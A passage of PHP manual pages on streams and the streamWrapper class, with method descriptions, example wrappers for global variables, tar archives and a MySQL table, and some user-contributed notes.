There are no user contributed notes for this page.
Stream Filters
Stream Errors
Streams


Stream Errors

As with any file or socket related function, an operation on a stream may fail for a variety of normal reasons (i.e.: Unable to connect to remote host, file not found, etc...). A stream related call may also fail because the desired stream is not registered on the running system. See the array returned by stream_get_wrappers() for a list of streams supported by your installation of PHP. As with most PHP internal functions if a failure occurs an E_WARNING message will be generated describing the nature of the error.

User Contributed Notes

There are no user contributed notes for this page.
Stream Contexts
Examples
Streams


Examples

Table of Contents

  • Example class registered as stream wrapper

Example #1 Using file_get_contents() to retrieve data from multiple sources

<?php
/* Read local file from /home/bar */
$localfile = file_get_contents("/home/bar/foo.txt");

/* Identical to above, explicitly naming FILE scheme */
$localfile = file_get_contents("file:///home/bar/foo.txt");

/* Read remote file from www.example.com using HTTP */
$httpfile  = file_get_contents("http://www.example.com/foo.txt");

/* Read remote file from www.example.com using HTTPS */
$httpsfile = file_get_contents("https://www.example.com/foo.txt");

/* Read remote file from ftp.example.com using FTP */
$ftpfile   = file_get_contents("ftp://user:pass@ftp.example.com/foo.txt");

/* Read remote file from ftp.example.com using FTPS */
$ftpsfile  = file_get_contents("ftps://user:pass@ftp.example.com/foo.txt");
?>

Example #2 Making a POST request to an https server

<?php
/* Send POST request to https://secure.example.com/form_action.php
* Include form elements named "foo" and "bar" with dummy values
*/

$sock = fsockopen("ssl://secure.example.com", 443, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");

$data = "foo=" . urlencode("Value for Foo") . "&bar=" . urlencode("Value for Bar");

fwrite($sock, "POST /form_action.php HTTP/1.0\r\n");
fwrite($sock, "Host: secure.example.com\r\n");
fwrite($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Content-length: " . strlen($data) . "\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "\r\n");
fwrite($sock, "$data\r\n");
fwrite($sock, "\r\n");

$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";

echo "\n";

$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);

fclose($sock);
?>

Example #3 Writing data to a compressed file

<?php
/* Create a compressed file containing an arbitrarty string
* File can be read back using compress.zlib stream or just
* decompressed from the command line using 'gzip -d foo-bar.txt.gz'
*/
$fp = fopen("compress.zlib://foo-bar.txt.gz", "wb");
if (!$fp) die("Unable to create file.");

fwrite($fp, "This is a test.\n");

fclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.
Stream Errors
Example class registered as stream wrapper
Streams


Example class registered as stream wrapper

The example below implements a var:// protocol handler that allows read/write access to a named global variable using standard filesystem stream functions such as fread(). The var:// protocol implemented below, given the URL "var://foo" will read/write data to/from $GLOBALS["foo"].

Example #1 A Stream for reading/writing global variables

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_write($data)
    {
        $left = substr($GLOBALS[$this->varname], 0, $this->position);
        $right = substr($GLOBALS[$this->varname], $this->position + strlen($data));
        $GLOBALS[$this->varname] = $left . $data . $right;
        $this->position += strlen($data);
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->position;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

    function stream_seek($offset, $whence)
    {
        switch ($whence) {
            case SEEK_SET:
                if ($offset < strlen($GLOBALS[$this->varname]) && $offset >= 0) {
                     $this->position = $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_CUR:
                if ($offset >= 0) {
                     $this->position += $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_END:
                if (strlen($GLOBALS[$this->varname]) + $offset >= 0) {
                     $this->position = strlen($GLOBALS[$this->varname]) + $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            default:
                return false;
        }
    }

    function stream_metadata($path, $option, $var)
    {
        if($option == STREAM_META_TOUCH) {
            $url = parse_url($path);
            $varname = $url["host"];
            if(!isset($GLOBALS[$varname])) {
                $GLOBALS[$varname] = '';
            }
            return true;
        }
        return false;
    }
}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

?>

The above example will output:

line1
line2
line3
string(18) "line1
line2
line3
"

User Contributed Notes

pfe dot skh at gmail dot com 08-Aug-2010 09:47
Example of stream used with databases :

Requirement :
A MySQL database with a table named data structured as follow :
CREATE TABLE IF NOT EXISTS `data` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `data` varchar(255) NOT NULL,
  `when_inserted` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

Now with the stream implementation :

<?php

class DBStream {
    private $_pdo;
    private $_ps;
    private $_rowId = 0;

    function stream_open($path, $mode, $options, &$opath)
    {
        $url = parse_url($path);
        $url['path'] = substr($url['path'], 1);
        try{
            $this->_pdo = new PDO("mysql:host={$url['host']};dbname={$url['path']}", $url['user'], isset($url['pass'])? $url['pass'] : '', array());
        } catch(PDOException $e){ return false; }
        switch ($mode){
            case 'w' :
                $this->_ps = $this->_pdo->prepare('INSERT INTO data VALUES(null, ?, NOW())');
                break;
            case 'r' :
                $this->_ps = $this->_pdo->prepare('SELECT id, data FROM data WHERE id > ? LIMIT 1');
                break;
            default  : return false;
        }
        return true;
    }

    function stream_read()
    {
         $this->_ps->execute(array($this->_rowId));
         if($this->_ps->rowCount() == 0) return false;
         $this->_ps->bindcolumn(1, $this->_rowId);
         $this->_ps->bindcolumn(2, $ret);
         $this->_ps->fetch();
         return $ret;
    }

    function stream_write($data)
    {
        $this->_ps->execute(array($data));
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->_rowId;
    }

    function stream_eof()
    {
        $this->_ps->execute(array($this->_rowId));
        return (bool) $this->_ps->rowCount();
    }

    function stream_seek($offset, $step)
    {
        //No need to be implemented
    }
}

stream_register_wrapper('db', 'DBStream');

$fr = fopen('db://testuser@localhost/testdb', 'r');
$fw = fopen('db://testuser:testpassword@localhost/testdb', 'w');
//The two forms above are accepted : for the former, the default password "" will be used

$alg = hash_algos();
$al = $alg[array_rand($alg)];
$data = hash($al, rand(rand(0, 9), rand(10, 999))); // Some random data to be written
fwrite($fw, $data); // Writing the data to the wrapper
while($a = fread($fr, 256)){ //A loop for reading from the wrapper
    echo $a . '<br />';
}
?>

Hope it helps, cheers ;)
Examples
streamWrapper
Examples


The streamWrapper class

(No version information available, might only be in SVN)

Introduction

Allows you to implement your own protocol handlers and streams for use with all the other filesystem functions (such as fopen(), fread() etc.).

Note:

This is NOT a real class, only a prototype of how a class defining its own protocol should be.

Note:

Implementing the methods in other ways then described here can lead to undefined behaviour.

An instance of this class is initialized as soon as a stream function tries to access the protocol it is associated with.

Class synopsis

streamWrapper {
/* Properties */
public resource $context ;
/* Methods */
__construct ( void )
__destruct ( void )
public bool dir_closedir ( void )
public bool dir_opendir ( string $path , int $options )
public string dir_readdir ( void )
public bool dir_rewinddir ( void )
public bool mkdir ( string $path , int $mode , int $options )
public bool rename ( string $path_from , string $path_to )
public bool rmdir ( string $path , int $options )
public resource stream_cast ( int $cast_as )
public void stream_close ( void )
public bool stream_eof ( void )
public bool stream_flush ( void )
public bool stream_lock ( mode $operation )
public bool stream_metadata ( int $path , int $option , int $var )
public bool stream_open ( string $path , string $mode , int $options , string &$opened_path )
public string stream_read ( int $count )
public bool stream_seek ( int $offset , int $whence = SEEK_SET )
public bool stream_set_option ( int $option , int $arg1 , int $arg2 )
public array stream_stat ( void )
public int stream_tell ( void )
public int stream_write ( string $data )
public bool unlink ( string $path )
public array url_stat ( string $path , int $flags )
}

Properties

resource context

The current context, or NULL if no context was passed to the caller function.

Use the stream_context_get_options() to parse the context.

Note:

This property must be public so PHP can populate it with the actual context resource.

Changelog

Version | Description
5.0.0 | Added the context property.

See Also

  • Example class registered as stream wrapper
  • stream_wrapper_register()
  • stream_wrapper_unregister()
  • stream_wrapper_restore()

Table of Contents

  • streamWrapper::__construct — Constructs a new stream wrapper
  • streamWrapper::__destruct — Destructs an existing stream wrapper
  • streamWrapper::dir_closedir — Close directory handle
  • streamWrapper::dir_opendir — Open directory handle
  • streamWrapper::dir_readdir — Read entry from directory handle
  • streamWrapper::dir_rewinddir — Rewind directory handle
  • streamWrapper::mkdir — Create a directory
  • streamWrapper::rename — Renames a file or directory
  • streamWrapper::rmdir — Removes a directory
  • streamWrapper::stream_cast — Retrieve the underlaying resource
  • streamWrapper::stream_close — Close an resource
  • streamWrapper::stream_eof — Tests for end-of-file on a file pointer
  • streamWrapper::stream_flush — Flushes the output
  • streamWrapper::stream_lock — Advisory file locking
  • streamWrapper::stream_metadata — Change stream options
  • streamWrapper::stream_open — Opens file or URL
  • streamWrapper::stream_read — Read from stream
  • streamWrapper::stream_seek — Seeks to specific location in a stream
  • streamWrapper::stream_set_option — Change stream options
  • streamWrapper::stream_stat — Retrieve information about a file resource
  • streamWrapper::stream_tell — Retrieve the current position of a stream
  • streamWrapper::stream_write — Write to stream
  • streamWrapper::unlink — Delete a file
  • streamWrapper::url_stat — Retrieve information about a file

User Contributed Notes

Anonymous 21-Sep-2011 12:02
Here is a very simple stream wrapper which calls your callback function for reads:

<?php

class CallbackUrl
{
    const WRAPPER_NAME = 'callback';

    public $context;
    private $_cb;
    private $_eof = false;

    private static $_isRegistered = false;

    public static function getContext($cb)
    {
        if (!self::$_isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$_isRegistered = true;
        }
        if (!is_callable($cb)) return false;
        return stream_context_create(array(self::WRAPPER_NAME => array('cb' => $cb)));
    }

    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) return false;
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])) return false;
        $this->_cb = $opt[self::WRAPPER_NAME]['cb'];
        return true;
    }

    public function stream_read($count)
    {
        if ($this->_eof || !$count) return '';
        if (($s = call_user_func($this->_cb, $count)) == '') $this->_eof = true;
        return $s;
    }

    public function stream_eof()
    {
        return $this->_eof;
    }
}

class Test {
    private $_s;
    public function __construct($s)
    {
        $this->_s = $s;
    }
    public function read($count) {
        return fread($this->_s, $count);
    }
}

$t = new Test(fopen('/etc/services', 'r'));
$fd = fopen('callback://', 'r', false, CallbackUrl::getContext(array($t, 'read')));
while(($buf = fread($fd, 128)) != '') {
    print $buf;
}
?>
isaac dot z dot no dot foster at spam dot gmail dot please dot com 22-Oct-2010 09:12
It's worth noting that the interface defined by yannick at gmail should not always be implemented by a stream wrapper class, as several of the methods should not be implemented if the class has no use for them (as per the manual).

Specifically, mkdir, rename, rmdir, and unlink are methods that "should not be defined" if the wrapper has no use for them. The consequence is that the appropriate error message will not be returned.

If the interface is implemented, you won't have the flexibility to not implement those methods.

Not trying to be academic, but it was useful for me.
yannick dot battail at gmail dot com 17-Jul-2009 02:38
a php interface for wrapper

<?php
interface WrapperInterface
{
    /**
     * resource context
     *
     * @var resource
     */
    //public $context;

    /**
     * constructor
     *
     */
    public function __construct();

    /**
     *
     *
     * @return bool
     */
    public function dir_closedir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function dir_opendir($path , $options);

    /**
     * Enter description here...
     *
     * @return string
     */
    public function dir_readdir();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function dir_rewinddir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $mode
     * @param int $options
     * @return bool
     */
    public function mkdir($path , $mode , $options);

    /**
     * Enter description here...
     *
     * @param string $path_from
     * @param string $path_to
     * @return bool
     */
    public function rename($path_from , $path_to);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function rmdir($path , $options);

    /**
     * Enter description here...
     *
     * @param int $cast_as
     * @return resource
     */
    public function stream_cast($cast_as);

    /**
     * Enter description here...
     *
     */
    public function stream_close();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_eof();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_flush();

    /**
     * Enter description here...
     *
     * @param mode $operation
     * @return bool
     */
    public function stream_lock($operation);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param string $mode
     * @param int $options
     * @param string &$opened_path
     * @return bool
     */
    public function stream_open($path , $mode , $options , &$opened_path);

    /**
     * Enter description here...
     *
     * @param int $count
     * @return string
     */
    public function stream_read($count);

    /**
     * Enter description here...
     *
     * @param int $offset
     * @param int $whence = SEEK_SET
     * @return bool
     */
    public function stream_seek($offset , $whence = SEEK_SET);

    /**
     * Enter description here...
     *
     * @param int $option
     * @param int $arg1
     * @param int $arg2
     * @return bool
     */
    public function stream_set_option($option , $arg1 , $arg2);

    /**
     * Enter description here...
     *
     * @return array
     */
    public function stream_stat();

    /**
     * Enter description here...
     *
     * @return int
     */
    public function stream_tell();

    /**
     * Enter description here...
     *
     * @param string $data
     * @return int
     */
    public function stream_write($data);

    /**
     * Enter description here...
     *
     * @param string $path
     * @return bool
     */
    public function unlink($path);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $flags
     * @return array
     */
    public function url_stat($path , $flags);
}

?>
Example class registered as stream wrapper
streamWrapper::__construct
Streams


Constructs a new stream wrapper

streamWrapper
streamWrapper::__destruct
streamWrapper
PHP Manual

streamWrapper::__construct

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::__construct — Constructs a new stream wrapper

Description

streamWrapper::__construct ( void )

Called when opening the stream wrapper, right before streamWrapper::stream_open().

Parameters

This function has no parameters.

User Contributed Notes

codeslinger at compsalot dot com 20-Nov-2009 10:27
Just to clarify what was said above, as far as I can tell,  __construct is *only* called before stream_open.

It does not get called for other functions such as stream::url_stat  or stream::unlink, even though those functions do create a new object.

This behavior is contrary to normal expectations for php object creation.  But based on the documentation above I can only assume that it is by design.
streamWrapper
streamWrapper::__destruct
streamWrapper


Destructs an existing stream wrapper

streamWrapper::__construct
streamWrapper::dir_closedir
streamWrapper
PHP Manual

streamWrapper::__destruct

(No version information available, might only be in SVN)

streamWrapper::__destruct — Destructs an existing stream wrapper

Description

streamWrapper::__destruct ( void )

Called when closing the stream wrapper, right before streamWrapper::stream_flush().

Parameters

This function has no parameters.

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::__construct
streamWrapper::dir_closedir
streamWrapper


Close directory handle

streamWrapper::__destruct
streamWrapper::dir_opendir
streamWrapper
PHP Manual

streamWrapper::dir_closedir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_closedir — Close directory handle

Description

public bool streamWrapper::dir_closedir ( void )

This method is called in response to closedir().

Any resources which were locked, or allocated, during opening and use of the directory stream should be released.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • closedir() - Close directory handle
  • streamWrapper::dir_opendir() - Open directory handle

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::__destruct
streamWrapper::dir_opendir
streamWrapper


Open directory handle

streamWrapper::dir_closedir
streamWrapper::dir_readdir
streamWrapper
PHP Manual

streamWrapper::dir_opendir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_opendir — Open directory handle

Description

public bool streamWrapper::dir_opendir ( string $path , int $options )

This method is called in response to opendir().

Parameters

path

Specifies the URL that was passed to opendir().

Note:

The URL can be broken apart with parse_url().

options

Whether or not to enforce safe_mode (0x04).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • opendir() - Open directory handle
  • streamWrapper::dir_closedir() - Close directory handle
  • parse_url() - Parse a URL and return its components

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::dir_closedir
streamWrapper::dir_readdir
streamWrapper


Read entry from directory handle

streamWrapper::dir_opendir
streamWrapper::dir_rewinddir
streamWrapper
PHP Manual

streamWrapper::dir_readdir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_readdir — Read entry from directory handle

Description

public string streamWrapper::dir_readdir ( void )

This method is called in response to readdir().

Parameters

This function has no parameters.

Return Values

Should return string representing the next filename, or FALSE if there is no next file.

Note:

The return value will be casted to string.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Examples

Example #1 Listing files from tar archives

<?php
class streamWrapper {
    protected $fp;

    public function dir_opendir($path, $options) {
        $url = parse_url($path);

        $path = $url["host"] . $url["path"];

        if (!is_readable($path)) {
            trigger_error("$path isn't readable for me", E_USER_NOTICE);
            return false;
        }
        if (!is_file($path)) {
            trigger_error("$path isn't a file", E_USER_NOTICE);
            return false;
        }

        $this->fp = fopen($path, "rb");
        return true;
    }

    public function dir_readdir() {
        // Extract the header for this entry
        $header      = fread($this->fp, 512);
        $data = unpack("a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1filetype/a100link/a100linkedfile", $header);

        // Trim the filename and filesize
        $filename    = trim($data["filename"]);

        // No filename? We are the end of the archive
        if (!$filename) {
            return false;
        }

        $octal_bytes = trim($data["size"]);
        // Filesize is defined in octects
        $bytes       = octdec($octal_bytes);

        // tar rounds up filesizes up to multiple of 512 bytes (zero filled)
        $rest        = $bytes % 512;
        if ($rest > 0) {
            $bytes      += 512 - $rest;
        }

        // Seek over the file
        fseek($this->fp, $bytes, SEEK_CUR);

        return $filename;
    }

    public function dir_closedir() {
        return fclose($this->fp);
    }

    public function dir_rewinddir() {
        return fseek($this->fp, 0, SEEK_SET);
    }
}

stream_wrapper_register("tar", "streamWrapper");
$handle = opendir("tar://example.tar");
while (false !== ($file = readdir($handle))) {
    var_dump($file);
}

echo "Rewinding..\n";
rewind($handle);
var_dump(readdir($handle));

closedir($handle);
?>

The above example will output something similar to:

string(13) "construct.xml"
string(16) "dir-closedir.xml"
string(15) "dir-opendir.xml"
string(15) "dir-readdir.xml"
string(17) "dir-rewinddir.xml"
string(9) "mkdir.xml"
string(10) "rename.xml"
string(9) "rmdir.xml"
string(15) "stream-cast.xml"
string(16) "stream-close.xml"
string(14) "stream-eof.xml"
string(16) "stream-flush.xml"
string(15) "stream-lock.xml"
string(15) "stream-open.xml"
string(15) "stream-read.xml"
string(15) "stream-seek.xml"
string(21) "stream-set-option.xml"
string(15) "stream-stat.xml"
string(15) "stream-tell.xml"
string(16) "stream-write.xml"
string(10) "unlink.xml"
string(12) "url-stat.xml"
Rewinding..
string(13) "construct.xml"

See Also

  • readdir() - Read entry from directory handle

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::dir_opendir
streamWrapper::dir_rewinddir
streamWrapper


Rewind directory handle

streamWrapper::dir_readdir
streamWrapper::mkdir
streamWrapper
PHP Manual

streamWrapper::dir_rewinddir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_rewinddir — Rewind directory handle

Description

public bool streamWrapper::dir_rewinddir ( void )

This method is called in response to rewinddir().

Should reset the output generated by streamWrapper::dir_readdir(). i.e.: The next call to streamWrapper::dir_readdir() should return the first entry in the location returned by streamWrapper::dir_opendir().

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • rewinddir() - Rewind directory handle
  • streamWrapper::dir_readdir() - Read entry from directory handle

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::dir_readdir
streamWrapper::mkdir
streamWrapper


Create a directory

streamWrapper::dir_rewinddir
streamWrapper::rename
streamWrapper
PHP Manual

streamWrapper::mkdir

(PHP 5)

streamWrapper::mkdir — Create a directory

Description

public bool streamWrapper::mkdir ( string $path , int $mode , int $options )

This method is called in response to mkdir().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support creating directories.

Parameters

path

Directory which should be created.

mode

The value passed to mkdir().

options

A bitwise mask of values, such as STREAM_MKDIR_RECURSIVE.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • mkdir() - Makes directory
  • streamwrapper::rmdir() - Removes a directory

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::dir_rewinddir
streamWrapper::rename
streamWrapper


Renames a file or directory

streamWrapper::mkdir
streamWrapper::rmdir
streamWrapper
PHP Manual

streamWrapper::rename

(PHP 5)

streamWrapper::rename — Renames a file or directory

Description

public bool streamWrapper::rename ( string $path_from , string $path_to )

This method is called in response to rename().

Should attempt to rename path_from to path_to

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support renaming files.

Parameters

path_from

The URL to the current file.

path_to

The URL which the path_from should be renamed to.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • rename() - Renames a file or directory

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::mkdir
streamWrapper::rmdir
streamWrapper


Removes a directory

streamWrapper::rename
streamWrapper::stream_cast
streamWrapper
PHP Manual

streamWrapper::rmdir

(PHP 5)

streamWrapper::rmdir — Removes a directory

Description

public bool streamWrapper::rmdir ( string $path , int $options )

This method is called in response to rmdir().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support removing directories.

Parameters

path

The directory URL which should be removed.

options

A bitwise mask of values, such as STREAM_MKDIR_RECURSIVE.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • rmdir() - Removes directory
  • streamwrapper::mkdir() - Create a directory
  • streamwrapper::unlink() - Delete a file

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::rename
streamWrapper::stream_cast
streamWrapper


Retrieve the underlaying resource

streamWrapper::rmdir
streamWrapper::stream_close
streamWrapper
PHP Manual

streamWrapper::stream_cast

(PHP 5 >= 5.3.0)

streamWrapper::stream_cast — Retrieve the underlaying resource

Description

public resource streamWrapper::stream_cast ( int $cast_as )

This method is called in response to stream_select().

Parameters

cast_as

Can be STREAM_CAST_FOR_SELECT when stream_select() is calling stream_cast() or STREAM_CAST_AS_STREAM when stream_cast() is called for other uses.

Return Values

Should return the underlying stream resource used by the wrapper, or FALSE.

See Also

  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::rmdir
streamWrapper::stream_close
streamWrapper


Close an resource

streamWrapper::stream_cast
streamWrapper::stream_eof
streamWrapper
PHP Manual

streamWrapper::stream_close

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_close — Close an resource

Description

public void streamWrapper::stream_close ( void )

This method is called in response to fclose().

All resources that were locked, or allocated, by the wrapper should be released.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • fclose() - Closes an open file pointer
  • streamWrapper::dir_closedir() - Close directory handle

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_cast
streamWrapper::stream_eof
streamWrapper


Tests for end-of-file on a file pointer

streamWrapper::stream_close
streamWrapper::stream_flush
streamWrapper
PHP Manual

streamWrapper::stream_eof

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_eof — Tests for end-of-file on a file pointer

Description

public bool streamWrapper::stream_eof ( void )

This method is called in response to feof().

Parameters

This function has no parameters.

Return Values

Should return TRUE if the read/write position is at the end of the stream and if no more data is available to be read, or FALSE otherwise.

Notes

Warning

When reading the whole file (for example, with file_get_contents()), PHP will call streamWrapper::stream_read() followed by streamWrapper::stream_eof() in a loop but as long as streamWrapper::stream_read() returns a non-empty string, the return value of streamWrapper::stream_eof() is ignored.

See Also

  • feof() - Tests for end-of-file on a file pointer

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_close
streamWrapper::stream_flush
streamWrapper


Flushes the output

streamWrapper::stream_eof
streamWrapper::stream_lock
streamWrapper
PHP Manual

streamWrapper::stream_flush

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_flush — Flushes the output

Description

public bool streamWrapper::stream_flush ( void )

This method is called in response to fflush().

If you have cached data in your stream but not yet stored it into the underlying storage, you should do so now.

Parameters

This function has no parameters.

Return Values

Should return TRUE if the cached data was successfully stored (or if there was no data to store), or FALSE if the data could not be stored.

Notes

Note:

If not implemented, FALSE is assumed as the return value.

See Also

  • fflush() - Flushes the output to a file

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_eof
streamWrapper::stream_lock
streamWrapper


Advisory file locking

streamWrapper::stream_flush
streamWrapper::stream_metadata
streamWrapper
PHP Manual

streamWrapper::stream_lock

(PHP 5)

streamWrapper::stream_lock — Advisory file locking

Description

public bool streamWrapper::stream_lock ( mode $operation )

This method is called in response to flock(), when file_put_contents() (when flags contains LOCK_EX), stream_set_blocking() and when closing the stream (LOCK_UN).

Parameters

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).
  • LOCK_NB if you don't want flock() to block while locking. (not supported on Windows)

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

See Also

  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • flock() - Portable advisory file locking

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_flush
streamWrapper::stream_metadata
streamWrapper


Change stream options

streamWrapper::stream_lock
streamWrapper::stream_open
streamWrapper
PHP Manual

streamWrapper::stream_metadata

(No version information available, might only be in SVN)

streamWrapper::stream_metadata — Change stream options

Description

public bool streamWrapper::stream_metadata ( int $path , int $option , int $var )

This method is called to set metadata on the stream. It is called when one of the following functions is called on a stream URL:

  • touch()
  • chmod()
  • chown()
  • chgrp()
Please note that some of these operations may not be available on your system.

Note: The function is available since PHP 5.4.0.

Parameters

path

The file path or URL to set metadata. Note that in the case of a URL, it must be a :// delimited URL. Other URL forms are not supported.

option

One of:

  • PHP_STREAM_META_TOUCH (The method was called in response to touch())
  • PHP_STREAM_META_OWNER_NAME (The method was called in response to chown() with string parameter)
  • PHP_STREAM_META_OWNER (The method was called in response to chown())
  • PHP_STREAM_META_GROUP_NAME (The method was called in response to chgrp())
  • PHP_STREAM_META_GROUP (The method was called in response to chgrp())
  • PHP_STREAM_META_ACCESS (The method was called in response to chmod())

arg1

If option is

  • PHP_STREAM_META_TOUCH: Array consisting of two arguments of the touch() function.
  • PHP_STREAM_META_OWNER_NAME or PHP_STREAM_META_GROUP_NAME: The name of the owner user/group as string.
  • PHP_STREAM_META_OWNER or PHP_STREAM_META_GROUP: The value owner user/group argument as integer.
  • PHP_STREAM_META_ACCESS: The argument of the chmod() as integer.

Return Values

Returns TRUE on success or FALSE on failure. If option is not implemented, FALSE should be returned.

See Also

  • touch() - Sets access and modification time of file
  • chmod() - Changes file mode
  • chown() - Changes file owner
  • chgrp() - Changes file group

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_lock
streamWrapper::stream_open
streamWrapper


Opens file or URL

streamWrapper::stream_metadata
streamWrapper::stream_read
streamWrapper
PHP Manual

streamWrapper::stream_open

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_open — Opens file or URL

Description

public bool streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path )

This method is called immediately after the wrapper is initialized (f.e. by fopen() and file_get_contents()).

Parameters

path

Specifies the URL that was passed to the original function.

Note:

The URL can be broken apart with parse_url(). Note that only URLs delimited by :// are supported. : and :/ while technically valid URLs, are not.

mode

The mode used to open the file, as detailed for fopen().

Note:

Remember to check if the mode is valid for the path requested.

options

Holds additional flags set by the streams API. It can hold one or more of the following values OR'd together.

Flag | Description
STREAM_USE_PATH | If path is relative, search for the resource using the include_path.
STREAM_REPORT_ERRORS | If this flag is set, you are responsible for raising errors using trigger_error() during opening of the stream. If this flag is not set, you should not raise any errors.

opened_path

If the path is opened successfully, and STREAM_USE_PATH is set in options, opened_path should be set to the full path of the file/resource that was actually opened.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • fopen() - Opens file or URL
  • parse_url() - Parse a URL and return its components

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_metadata
streamWrapper::stream_read
streamWrapper


Read from stream

streamWrapper::stream_open
streamWrapper::stream_seek
streamWrapper
PHP Manual

streamWrapper::stream_read

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_read — Read from stream

Description

public string streamWrapper::stream_read ( int $count )

This method is called in response to fread() and fgets().

Note:

Remember to update the read/write position of the stream (by the number of bytes that were successfully read).

Parameters

count

How many bytes of data from the current position should be returned.

Return Values

If there are less than count bytes available, return as many as are available. If no more data is available, return either FALSE or an empty string.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Note:

If the return value is longer then count an E_WARNING error will be emitted, and excess data will be lost.

Notes

Note:

streamWrapper::stream_eof() is called directly after calling streamWrapper::stream_read() to check if EOF has been reached. If not implemented, EOF is assumed.

Warning

